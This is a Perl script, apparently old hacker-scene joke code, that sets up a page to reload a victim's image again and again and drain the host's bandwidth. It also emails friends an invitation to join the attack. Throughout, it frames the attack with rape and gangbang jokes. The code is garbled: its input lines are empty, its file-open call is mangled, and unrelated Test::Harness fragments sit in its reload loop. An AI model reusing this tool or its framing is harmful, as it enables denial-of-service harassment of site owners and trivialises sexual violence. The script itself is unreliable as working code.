#!/usr/bin/perl -w # Bandwidth Rape'r -Spit together by optiklenz # Written to accomadate the text file "Rapping Bandwidth" written by # CYBORG/ASM of the Hack Canada Crew, and for the most part as a joke # to pass time on the plane ride home. - www.legions.org - # Rapping Bandwidth article: www.hackcanada.com/homegrown/bandwidthrape.txt # In order for bandrape to connect to the specified url and run through # the reload process automatically you must be sure that you have the # LWP.pm module installed. If not try perl -MCPAN -e 'install Bundle::LWP' # Once installed uncomment the first # in the lines with #ucmt. If you # dont feel like installing the LWP module upload bandrape to a web # directory, create the rape.html file, and run it there. # This was made as a joke there will be no updates. =p # chmod +x bandrape ; ./bandrape the lazy way to get off. # BanD Rape'in anh tie awn-lyn is losto phun phor my pee pee ########################################################################## print pack('C30', reverse unpack('C30', ',znelkitpo yb repaR htdiwdnaB')); print "\nenter image url to be rape'd "; $rplocat = ; chomp ($rplocat); open(FOO,"+ just sit here and soak up bandwidth"; close FOO; print "whats the web address to the rape.html file?\ni;e http://www.rape.com/rape.jpg:"; $lrpe = ; chomp ($lrpe); # while (1) { # ucmt refresh every 10 seconds # use LWP::Simple; # ucmt i386-linux-thread -I # $getadr=$lrpe # ucmt /usr/lib/perl5/5.00502 -e # $show1elite = get # ucmt 'use Test::Harness qw(&runtests verbose); # $getadr; print $getadr # ucmt $verbose=0; runtests @ARGV;' t/*.t hrmm print "victim has been rapped\n "; print "would you like to email friends so they can rape too\n (this way it's an official gangbang?) [yes|no]"; $rprequest = ; chomp ($rprequest); if ($rprequest eq "yes") { print "pfft, stop hammah time\n "; #don't ask print "email address of rape partner? "; $gbrp = ; chomp ($gbrp); open MAIL,"|mail $gbrp "; print MAIL "yo! theres a rapefest going on at $lrpe \n"; close MAIL; print "now direct your browser to $lrpe\n"; } else { print "your rape'ing days are over bitch\n Direct your browser to $lrpe and let simmer/n"; }